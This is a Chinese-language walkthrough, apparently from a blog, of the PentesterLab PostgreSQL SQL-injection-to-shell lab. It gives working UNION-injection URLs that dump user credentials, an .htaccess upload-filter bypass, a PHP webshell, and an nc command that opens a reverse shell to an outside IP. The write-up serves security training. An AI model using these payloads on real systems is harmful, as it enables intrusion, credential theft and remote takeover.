1. 程式人生 > >PentesterLab-From SQL Injection to Shell: PostgreSQL edition

PentesterLab-From SQL Injection to Shell: PostgreSQL edition

反彈 injection 無法 www 圖片 img ase 分享圖片 類型

一、打開頁面,隨便點了幾下,返現和From SQL Injection to Shell差不多,直奔主題開始註入

  由於PostgreSQL與MySQL不同,幾個關註點需要註意下

二、order by下看看有幾個字段

/cat.php?id=1%20order%20by%204

#order by 4正常,5出現報錯,說明有4個字段

三、查看註入點在什麽位置,這裏與MySQL不同的是,不能再用select 1,2,3……的方式去探測,要改用null,因為PostgreSQL對類型限制很嚴格

http://192.168.109.131/cat.php?id=1%20union%20select%20null,version(),null,null

發現只有第二個字段可以出來東西,註入點在第二個字段

技術分享圖片

四、查看當前庫名

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,datname,null,null%20from%20pg_database%20limit%201%20offset%205

技術分享圖片

五、查看表名

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,relname,null,null%20from+pg_stat_user_tables+limit+1+offset+0

技術分享圖片

六、查看各個字段,遍歷offset

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,column_name,null,null%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%201%20offset%202

技術分享圖片

得出有login和password

七、直接通過拼接字符串,讀取數據

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,login||chr(124)||password,null,null%20from%20users

技術分享圖片

八、MD5解密後,為admin|P4ssw0rd,直接登錄後臺進行上傳

九、上傳時發現,改後綴名為php3,Content-Type,加入圖片文件頭都無法成功上傳,查詢教程後得知,可以通過.htaccess來進行繞過

技術分享圖片

十、先編寫一個.htaccess文件,內容為一下內容,進行上傳

AddType application/x-httpd-php .blah

這個文件的意思是告訴apache,把.blah後綴的文件按照php進行解析

十一、在上傳shell,不過這次shell不是.php後綴名,而是.blah

<?php
system($_GET[‘cmd‘])
?>

十二、查看源代碼,得知上傳位置,直接訪問上傳的webshell,進行shell反彈

http://192.168.109.131/admin/uploads/function.blah?cmd=nc%2030.117.75.238%209999%20-e%20/bin/bash

PentesterLab-From SQL Injection to Shell: PostgreSQL edition